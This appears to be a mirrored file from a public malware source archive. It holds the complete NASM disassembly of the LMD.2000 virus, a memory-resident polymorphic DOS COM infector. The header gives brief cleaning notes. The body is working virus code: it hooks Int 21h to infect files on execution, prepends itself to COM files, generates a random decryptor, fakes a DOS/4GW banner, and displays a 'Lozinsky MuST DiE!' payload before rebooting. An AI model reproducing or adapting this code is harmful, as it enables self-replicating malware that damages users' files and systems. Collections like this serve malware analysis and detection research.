mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
588 lines
15 KiB
NASM
588 lines
15 KiB
NASM
; LMD.2000
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; Resident Polymorphic COM Infector
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; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for
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; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked
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; for infection routine. Virus prepends its body to files and writes 2000
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; original bytes to end of file. Polymorphic routine makes 128 random
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; one byte instructions and then fills in crypt information.
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; Cleaning Instructions - Overwrite First 2000 Bytes with Last 2000 Bytes
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; Detection - No scanners detect this beastie yet.
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; Research and Disassembly by PakiLad 05/03/97
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p386n
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seg000 segment byte public 'CODE' use16
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assume cs:seg000
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org 100h
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assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
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start:
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db 128 dup (90h) ; Buffer For Cryptor
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CryptedCode:
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jmp VirusStart
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OneByteTable db 26h ; SEGES
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db 27h ; DAA
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db 2Eh ; SEGCS
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db 2Fh ; DAS
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db 0FBh ; STI
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db 37h ; AAA
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db 3Eh ; SEGDS
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db 3Fh ; AAS
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db 40h ; INC AX
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db 42h ; INC DX
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db 46h ; INC SI
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db 48h ; DEC AX
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db 4Ah ; DEC DX
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db 4Eh ; DEC SI
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db 90h ; NOP
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db 92h ; XCHG AX, DX
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InfMarker db 'LMD'
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GetRand15 proc near
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push cx
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in ax, 40h ; Get Random Number
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xchg ax, cx
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MakeRandLoop:
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xor ax, cx
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loop MakeRandLoop
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xchg ax, cx
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in ax, 40h ; Get Random Number
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inc cx
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xor ax, cx
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and ax, 0Fh ; Number 0 - 15
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pop cx
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retn
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GetRand15 endp
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GetOneByteIns proc near
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push di
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mov di, offset OneByteTable
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call GetRand15
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add di, ax
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mov al, cs:[di]
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pop di
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retn
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GetOneByteIns endp
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CopyOverVir proc near
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push bx
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push es
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push ds
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nop
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push cs
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pop es ; ES = CS
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assume es:seg000
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mov di, offset Buffer+10h
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mov si, offset start + 10h
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mov cx, 2000
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rep movsb
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push ds
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pop ax
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add ax, 126
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mov [RestoreSeg + 10h], ax
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mov al, [LastByte + 10h]
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push ax
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push cs
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mov ax, offset StoreLastByte + 10h
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push ax
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mov [LastByte + 10h], 0CBh
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jmp near ptr JMPFarProg
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CopyOverVir endp
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StoreLastByte:
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pop ax
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pop ds
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mov [LastByte + 10h], al
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pop es
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assume es:nothing
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pop bx
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retn
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CheckGeneration proc near
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in al, 40h ; Get Random Number
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cmp al, 240 ; Below 240?
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jb RandBelow240 ; Yes? Then JMP.
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call GenerateCryptor
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call GenerateCryptor
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push dx
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db 8Dh, 16h, 88h, 02h ; (FIXUP) LEA DX, OFFSET FAKE4DOSGW
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mov ah, 9
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int 21h ; Write Fake Message
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pop dx
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RandBelow240:
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retn
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CheckGeneration endp
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SetupInt84 proc near
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push es
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push bx
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push di
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xor ax, ax
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mov di, 211h ; Offset of INT 84h
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push ds
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mov ds, ax ; DS points to IVT
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assume ds:nothing
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cmp word ptr [di], 0 ; Is Virus Installed?
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jnz AlreadyInMem ; Yes? Then JMP.
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mov ax, 3521h
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int 21h ; Get Int 21h Vectors
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dec di
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mov ax, es
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mov [di], bx ; Set New Int 84h Offset
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inc di
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inc di
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mov [di], ax ; Set New Int 84h Segment
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cmp ax, ax
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AlreadyInMem:
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pop ds
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assume ds:seg000
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pop di
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pop bx
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pop es
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retn
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SetupInt84 endp
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InstallVirus proc near
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push si
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push di
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push bx
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mov ax, 5803h
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xor bx, bx
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int 21h ; Get UMB Link Status
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push es
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push dx
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mov ax, 3521h
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int 21h ; Get Int 21h Vectors
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mov ax, es
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mov cs:Int21Ofs, bx
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mov cs:Int21Seg, ax
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push ds
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push ds
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pop ax
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dec ax
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mov ds, ax ; DS points to MCB
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assume ds:nothing
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sub word ptr ds:3, 272 ; Subtract 4352 Bytes
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sub word ptr ds:12h, 272 ; Subtract 4352 Bytes From Next Seg
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mov es, ds:12h ; ES points to Next Segment
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xor di, di
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xor si, si
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mov cx, 2272
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rep movsb ; Copy Virus Into Memory
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xor ax, ax
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mov ds, ax ; DS points to IVT
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assume ds:nothing
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sub word ptr ds:413h, 5 ; Subtract 5k From System Memory
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mov word ptr es:1, 0 ; Set New PSP Segment
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mov word ptr es:3, 272 ; Allocate 4352 Bytes
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push es
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pop ds ; DS = ES
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assume ds:seg000
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mov ax, 2521h
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mov dx, offset NewInt21 + 10h
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int 21h ; Set New Int 21h Vectors
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pop ds
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pop dx
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pop es
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pop bx
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pop di
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pop si
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retn
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InstallVirus endp
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FakeDOS4GW db 0Ah
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db 'DOS/4GW Protected Mode Run-time Version 1.95',0Dh,0Ah
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db 'Copyright (c) Rational Systems, Inc. 1990-1993',0Dh,0Ah
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db 0Dh,0Ah,'$'
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JMPFarProg db 0EAh
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RestoreOfs dw 100h
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RestoreSeg dw 0
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RestoreRoutine:
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rep movsb
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pop di
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pop si
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pop cx
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jmp short $+2
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FileSize dw 0
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NewInt24:
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mov al, 3
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iret
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db 37h
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VirusStart:
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call CheckGeneration
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in al, 40h ; Get Random Number
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cmp al, 16 ; Above 16?
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ja NoPayload ; Yes? Then JMP.
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mov ax, 11h
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int 10h ; Set Video Mode 80x13
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mov ax, 0A000h
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mov es, ax ; ES points to Video Memory
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assume es:nothing
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mov di, 3222h
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mov si, offset Graphic
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mov cx, 80
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DisplayGraphic:
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push cx
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mov cx, 80
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DisplayLine:
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cmp cx, 69
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jb Below69
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mov al, [si]
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inc si
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mov es:[di], al
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Below69:
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inc di
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loop DisplayLine
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pop cx
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loop DisplayGraphic
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mov ah, 9
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mov dx, offset LozMustDie
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int 21h ; Write String
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xor ax, ax
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int 16h ; Wait For KeyPress
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jmp near ptr Reboot
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LozMustDie db 9,9,0Ah
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db 9,0Ah
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db 0Ah
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db 0Ah
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db 7,' Lozinsky MuST DiE!$'
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NoPayload:
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xor ax, ax
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call GenerateCryptor
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call SetupInt84
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jnz RestoreProg
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call InstallVirus
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RestoreProg:
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mov si, offset start
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mov di, 0FFFEh
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xor dx, dx
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push cx
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push si
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push di
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push cs
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pop es
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assume es:seg000
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mov si, offset RestoreRoutine
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mov di, 0F9h
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mov cx, 7
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rep movsb ; Copy Restore Routine
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mov si, [si]
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mov di, offset start
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add si, di
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mov cx, 2000
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db 0E9h,069h,0FDh ; JMP To Restore Routine
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NewInt21:
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cmp ax, 4B00h ; Set Execution State?
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jz InfectFile ; Yes? Then JMP.
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JMPFar21 db 0EAh
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Int21Ofs dw 0
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Int21Seg dw 0
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InfectFile:
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pushf
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push ax
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push bx
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push cx
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push es
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push si
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push di
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push dx
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push ds
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push cs
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pop ds
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mov dx, offset NewInt24 + 10h
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mov ax, 2524h
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int 84h ; Set New Int 24h
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pop ds
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pop dx
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push dx
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push ds
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mov ax, 4300h
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push ax
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int 84h ; Get File Attributes
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pop ax
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inc ax
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push ax
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push cx
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and cl, 0D8h
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int 84h ; Clear File Attributes
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jb FileProblems ; Problems? Then JMP.
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mov ax, 3D02h
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int 84h ; Open File
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xchg ax, bx
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mov ax, 5700h
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int 84h ; Get File Date/Time
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push cx
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push dx
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push cs
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pop ds ; DS = CS
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mov cx, 128
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mov dx, offset Buffer+10h
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mov ah, 3Fh
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int 84h ; Read In 128 Bytes
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cmp cx, ax ; Read 128 ?
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jnz RestoreTD ; No? Then JMP.
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mov al, [Buffer+10h]
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cmp al, 'M' ; EXE File?
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jz RestoreTD ; Yes? Then JMP.
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cmp al, 'Z' ; EXE File?
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jz RestoreTD ; Yes? Then JMP.
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call CheckForMark
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jz RestoreTD ; Infected Already? Then JMP.
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call DoInfect
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call NotBigEnough
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RestoreTD:
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pop dx
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pop cx
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mov ax, 5701h
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int 84h ; Restore File Date/Time
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mov ah, 3Eh
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int 84h ; Close File
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FileProblems:
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pop cx
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pop ax
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int 84h ; Restore File Attributes
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pop ds
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pop dx
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pop di
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pop si
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pop es
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assume es:nothing
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pop cx
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pop bx
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pop ax
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popf
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jmp short near ptr JMPFar21
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CheckForMark proc near
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push di
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push si
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mov di, offset InfMarker
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mov cx, 16
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FindMark:
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mov al, [di]
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push cx
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mov si, offset Buffer+10h
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mov cx, 128
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CheckForMarker:
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mov ah, [si]
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cmp al, ah
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jz FoundMark
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inc si
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loop CheckForMarker
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cmp ax, cx
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pop cx
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jmp short DoneWithMark
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FoundMark:
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pop cx
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inc di
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loop FindMark
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cmp ax, ax
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DoneWithMark:
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pop si
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pop di
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CheckForMark endp
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NotBigEnough proc near
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retn
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NotBigEnough endp
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DoInfect proc near
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mov cx, 1872
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mov dx, offset OrgProgram+10h
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mov ah, 3Fh
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int 84h ; Read In 1872 Bytes
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cmp ax, cx ; Read 1872?
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jnz NotBigEnough ; No? Then JMP.
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xor cx, cx
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xor dx, dx
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mov ax, 4202h
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int 84h ; Move Pointer to End of File
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jb NotBigEnough
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cmp dx, 0 ; Over 64k?
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jnz NotBigEnough ; Yes? Then JMP.
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cmp ax, 2048 ; Under 2048 Bytes?
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jb NotBigEnough ; Yes? Then JMP.
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cmp ax, 60000 ; Over 60000 Bytes?
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ja NotBigEnough ; Yes? Then JMP.
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cmp Buffer+30h, 0
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jz NotBigEnough
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mov [FileSize + 10h], ax
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mov ah, 40h
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mov dx, offset Buffer+10h
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mov cx, 2000
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int 84h ; Write Original Bytes To End of File
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jb NotBigEnough
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call CopyOverVir
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xor cx, cx
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xor dx, dx
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mov ax, 4200h
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int 84h ; Move Pointer to Beginning
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mov ah, 40h
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mov dx, offset Buffer+10h
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mov cx, 2000
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int 84h ; Write Virus to File
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retn
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DoInfect endp
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Graphic db 0, 30h, 0Bh dup(0), 20h, 2 dup(0), 1Ah, 0FBh, 0EBh, 9Fh, 90h, 4 dup(0)
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db 20h, 2 dup(0), 47h, 2 dup(25h), 0FDh, 0AAh, 4 dup(0), 0E0h, 0, 7, 0FAh
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db 12h, 92h, 22h, 54h, 80h, 3 dup(0), 0C0h, 0Ch, 4, 0, 0A8h, 4Ah, 94h
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db 55h, 40h, 3 dup(0), 0C0h, 8, 0Dh, 5Ah, 45h, 2 dup(55h), 0AAh, 0A0h
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db 3 dup(0), 0C0h, 0FBh, 0F2h, 4, 95h, 54h, 0AAh, 5Dh, 0A0h, 3 dup(0)
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db 0DDh, 80h, 28h, 0A2h, 49h, 2 dup(55h), 2 dup(0AAh), 3 dup(0), 0D7h
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db 0Ah, 2, 19h, 25h, 5Dh, 4Ah, 6Dh, 0A4h, 3 dup(0), 0E6h, 0, 0A8h, 84h
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db 95h, 7Ah, 0AAh, 56h, 0D0h, 3 dup(0), 0C0h, 48h, 2, 59h, 52h, 8Bh, 55h
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db 0BAh, 0AAh, 4 dup(0), 2, 90h, 4, 4Ah, 7Dh, 55h, 6Fh, 64h, 4 dup(0)
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db 24h, 25h, 5Ah, 2 dup(0AAh), 0ABh, 0B5h, 0B0h, 4 dup(0), 3 dup(1), 2Ah
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db 0D5h, 0AAh, 5Ah, 0AAh, 4 dup(0), 40h, 8, 99h, 55h, 5Ah, 0DAh, 0DBh
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db 53h, 4 dup(0), 15h, 52h, 44h, 0AAh, 0ABh, 57h, 0AAh, 0A9h, 80h, 4 dup(0)
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db 89h, 22h, 55h, 6Dh, 55h, 5Eh, 0AAh, 0C0h, 2 dup(0), 4, 42h, 24h, 99h
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db 56h, 0B5h, 56h, 0EAh, 0D1h, 5 dup(0), 91h, 25h, 5Bh, 2 dup(0AAh), 0D5h
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db 4Ah, 40h, 4 dup(0), 8, 81h, 2Ah, 0AAh, 95h, 2Eh, 0E9h, 4 dup(0), 1
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db 45h, 24h, 4, 56h, 0DAh, 0E9h, 54h, 80h, 2 dup(0), 8, 80h, 20h, 0, 21h
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db 55h, 56h, 0DDh, 0B6h, 3 dup(0), 2, 8, 0Ah, 2 dup(0), 2Ah, 0BBh, 0AAh
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db 0D4h, 80h, 4 dup(0), 40h, 44h, 1, 9, 55h, 56h, 0AAh, 40h, 2 dup(0)
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db 8, 5, 1, 0, 80h, 25h, 6Dh, 0BBh, 69h, 3 dup(0), 2, 0, 0Ch, 0A0h, 5
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db 6, 92h, 0C9h, 54h, 4 dup(0), 20h, 26h, 4, 0, 0A0h, 4Ah, 0D4h, 20h, 90h
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db 2 dup(0), 4, 1, 19h, 61h, 0, 9, 24h, 6Bh, 55h, 1, 3 dup(0), 40h, 45h
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db 4, 10h, 0C4h, 49h, 0A4h, 94h, 2Fh, 3 dup(0), 14h, 2Ah, 59h, 0, 20h
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db 0E0h, 4Bh, 68h, 0A5h, 2 dup(0), 2 dup(1), 54h, 0A0h, 1, 48h, 2, 0AAh
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db 0B4h, 32h, 3 dup(0), 20h, 0AAh, 5Ah, 90h, 24h, 5, 0B5h, 0A9h, 55h, 3 dup(0)
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db 8Ah, 55h, 58h, 44h, 92h, 95h, 0AAh, 0A4h, 22h, 3 dup(0), 1, 6Ah, 26h
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db 82h, 4Ch, 6Ah, 16h, 0B4h, 0D4h, 2 dup(0), 1, 55h, 0ADh, 9Ah, 51h, 20h
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db 95h, 0EAh, 0AAh, 0B1h, 3 dup(0), 2, 0AAh, 0BDh, 2Ah, 54h, 56h, 2Ah
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db 0A9h, 59h, 3 dup(0), 15h, 55h, 42h, 0A9h, 25h, 52h, 0D5h, 55h, 0EAh
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db 3 dup(0), 49h, 6Dh, 5Dh, 4Ah, 94h, 0ADh, 2Ah, 49h, 34h, 3 dup(0), 25h
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db 56h, 0A4h, 55h, 6Ah, 0D5h, 0A9h, 25h, 0ABh, 3 dup(0), 55h, 75h, 42h
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db 0Bh, 0C5h, 2Ah, 0D4h, 92h, 0A0h, 2 dup(0), 1, 13h, 0ADh, 59h, 40h, 22h
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db 0D5h, 42h, 0AAh, 47h, 3 dup(0), 4Ah, 0F6h, 0E4h, 2Ah, 95h, 5Ah, 94h
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db 95h, 15h, 3 dup(0), 2Bh, 55h, 0BBh, 89h, 55h, 45h, 8Ah, 54h, 0ABh, 3 dup(0)
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db 9, 2Ah, 86h, 0A4h, 25h, 55h, 51h, 55h, 17h, 3 dup(0), 2, 0, 3Bh, 2 dup(49h)
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db 53h, 0A5h, 55h, 6Ah, 3 dup(0), 40h, 0Ah, 0DDh, 0A5h, 4, 0AAh, 55h, 54h
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db 0AAh, 4 dup(0), 41h, 27h, 51h, 69h, 25h, 0CAh, 0A9h, 50h, 3 dup(0)
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db 9, 2Ah, 0DAh, 0EAh, 0A4h, 0ABh, 12h, 40h, 5 dup(0), 4Ah, 5Fh, 54h, 52h
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db 53h, 55h, 28h, 5 dup(0), 25h, 60h, 0AAh, 0A9h, 49h, 0D4h, 80h, 4 dup(0)
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db 4, 0, 26h, 95h, 2Ah, 0AAh, 69h, 48h, 4 dup(0), 1, 41h, 2 dup(0), 0A9h
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db 29h, 2 dup(24h), 4 dup(0), 10h, 15h, 2 dup(65h), 54h, 0A4h, 52h, 82h
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db 4 dup(0), 2, 0AAh, 0A5h, 90h, 2 dup(0AAh), 29h, 15h, 4 dup(0), 10h
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db 5, 5Ah, 6Ah, 0A1h, 25h, 52h, 51h, 0F8h, 3 dup(0), 1, 20h, 45h, 92h
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db 54h, 92h, 0C4h, 0ABh, 8Fh, 3 dup(0), 8, 15h, 25h, 55h, 25h, 54h, 0A1h
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db 25h, 80h, 3 dup(0), 5, 42h, 0A5h, 6Ah, 0A8h, 12h, 94h, 0A9h, 0C0h, 3 dup(0)
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db 5, 55h, 5Ah, 2 dup(0AAh), 0A4h, 4Ah, 0A9h, 0C0h, 3 dup(0), 11h, 55h
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db 0A5h, 2 dup(0AAh), 49h, 0AAh, 0A3h, 0E0h, 3 dup(0), 4, 0AAh, 0A6h, 0B5h
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db 55h, 23h, 0D5h, 55h, 0E0h, 3 dup(0), 2, 2Dh, 0BAh, 0AAh, 0A2h, 4Ah
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db 54h, 0A3h, 0E0h, 3 dup(0), 8, 0A5h, 5Ah, 0A4h, 94h, 25h, 0AAh, 0ABh
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db 0E0h, 3 dup(0), 1, 2Ah, 0A5h, 52h, 41h, 56h, 55h, 57h, 0F0h, 4 dup(0)
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db 25h, 59h, 24h, 14h, 8Ah, 55h, 57h, 0F0h, 4 dup(0), 40h, 22h, 40h, 82h
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db 5Dh, 0AAh, 0AFh, 0F8h, 4 dup(0), 9, 4, 10h, 11h, 6Ah, 55h, 5Fh, 0F8h
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db 6 dup(0), 1, 4Ah, 0ADh, 0D5h, 3Fh, 0F8h, 6 dup(0), 4, 0AEh, 0AAh, 2Ah
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db 0BFh, 0F8h, 6 dup(0), 15h, 2Ah, 0D5h, 0AAh, 7Fh, 0F8h, 5 dup(0), 20h
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db 0A2h, 55h, 2Ah, 54h, 0FFh, 0F8h, 4 dup(0), 3, 0FCh, 49h, 2Ah, 0AAh
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db 53h, 0FFh, 0F8h, 4 dup(0), 3, 0FEh, 92h, 91h, 55h, 0A3h, 0FFh, 0F8h
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db 4 dup(0), 3, 0FFh, 48h, 4Dh, 4Ah, 4Fh, 0FFh, 0F8h, 4 dup(0), 3, 0FFh
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|
db 0A5h, 25h, 55h, 9Bh, 0DDh, 18h, 4 dup(0), 3, 0FFh, 0D4h, 0AAh, 0A8h
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|
db 7Bh, 0C9h, 68h, 4 dup(0), 3, 0FFh, 0FAh, 44h, 0A5h, 0FBh, 0C1h, 68h
|
|
db 4 dup(0), 3, 0FFh, 0FAh, 95h, 53h, 0FBh, 55h, 68h, 4 dup(0), 3, 2 dup(0FFh)
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db 52h, 8Fh, 0F8h, 5Dh, 18h, 4 dup(0), 3, 2 dup(0FFh), 0A4h, 5Fh, 2 dup(0FFh)
|
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db 0F8h, 0, 0Bh dup(0FFh)
|
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Reboot db 0EAh ; Reboot Computer
|
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dw 0
|
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dw 0FFFFh
|
|
|
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GenerateCryptor proc near
|
|
push di
|
|
push ds
|
|
push cs
|
|
pop ds
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|
mov di, offset start
|
|
mov cx, 128
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|
push di
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|
|
|
FillWithOneByte:
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|
call GetOneByteIns
|
|
mov [di], al
|
|
inc di
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|
loop FillWithOneByte
|
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pop di
|
|
call GetRand15
|
|
add di, ax
|
|
mov byte ptr [di], 0BBh ; Store MOV BX Instruction
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|
add di, 3
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 0A8B9h ; Store MOV CX, Instruction
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 3 ; Store Decrypt Size
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 80BFh ; Store MOV DI
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 1 ; Store Offset of Crypted Code
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
push di
|
|
mov word ptr [di], 312Eh ; XOR [DI],
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 1Dh ; BX
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 4747h ; INC SI/INC SI
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 43h ; INC AX
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov byte ptr [di], 0E2h ; LOOP Instruction
|
|
pop ax
|
|
push di
|
|
sub di, ax
|
|
mov ax, 0FFFEh
|
|
sub ax, di
|
|
pop di
|
|
inc di
|
|
mov [di], al ; Loop Offset
|
|
pop ds
|
|
pop di
|
|
retn
|
|
GenerateCryptor endp
|
|
|
|
Buffer db 0CDh, 20h, 125 dup (0)
|
|
LastByte db 0
|
|
OrgProgram db 1872 dup (0)
|
|
seg000 ends
|
|
|
|
|
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end start
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